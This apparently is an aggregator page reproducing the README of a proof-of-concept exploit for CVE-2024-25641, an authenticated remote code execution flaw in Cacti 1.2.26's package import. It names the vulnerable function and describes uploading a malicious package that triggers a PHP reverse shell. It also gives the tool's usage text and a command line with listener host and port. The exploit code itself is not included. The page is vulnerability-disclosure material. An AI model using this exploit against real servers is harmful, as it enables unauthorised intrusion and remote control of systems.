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CVE-2024-25641 PoC — Cacti 安全漏洞

来源
关联漏洞
标题: Cacti 安全漏洞 (CVE-2024-25641)
Description:Cacti是Cacti团队的一套开源的网络流量监测和分析工具。该工具通过snmpget来获取数据,使用RRDtool绘画图形进行分析,并提供数据和用户管理功能。 Cacti 1.2.27之前版本存在安全漏洞,该漏洞源于存在任意文件写入漏洞,允许经过身份验证的用户在Web服务器上执行任意PHP代码。
Description
POC exploit for CVE-2024-25641
介绍
# CVE-2024-25641

```
# Exploit Title: Cacti 1.2.26 - RCE (Authenticated)
# Date: 06/01/2025
# Exploit Author: D3Ext
# Vendor Homepage: https://cacti.net/
# Software Link: https://github.com/Cacti/cacti/archive/refs/tags/release/1.2.26.zip
# Version: 1.2.26
# Tested on: Kali Linux 2024
# CVE: CVE-2024-25641
```

## Explanation

This repository contains a POC (Proof of Concept) of the CVE-2024-25641 vulnerability, which affects to Cacti 1.2.26 version. This vulnerability is exploitable through the "Package Import" feature, allows authenticated users having the "Import Templates" permission to execute arbitrary PHP code on the web server. The vulnerability is located within the `import_package()` function defined into the `/lib/import.php` script. This exploit uses a PHP reverse shell which is triggered once the malicious plugin is uploaded.

## Usage

```
usage: exploit.py [-h] --url URL --user USER --password PASSWORD --lhost LHOST --lport LPORT [--verbose]

CVE-2024-25641 - Cacti 1.2.26 Authenticated RCE

options:
  -h, --help           show this help message and exit
  --url URL            URL of the Cacti web root
  --user USER          username to log in
  --password PASSWORD  password of the username
  --lhost LHOST        local host to receive the reverse shell
  --lport LPORT        local port to receive the reverse shell
  --verbose            enable verbose
```

Start a netcat listener and then execute the exploit like this:

```sh
python3 exploit.py --url <URL> --user <username> --password <password> --lhost <local_host> --lport <local_port>
```

## Demo

<img src="demo.png">

## References

```
https://github.com/Cacti/cacti/security/advisories/GHSA-7cmj-g5qc-pj88
https://nvd.nist.gov/vuln/detail/CVE-2024-25641
https://vuldb.com/?id.263978
https://github.com/5ma1l/CVE-2024-25641
https://github.com/Safarchand/CVE-2024-25641
```

## License

This project is under [MIT](https://github.com/D3Ext/CVE-2024-25641/blob/main/LICENSE) license

Copyright © 2025, *D3Ext*

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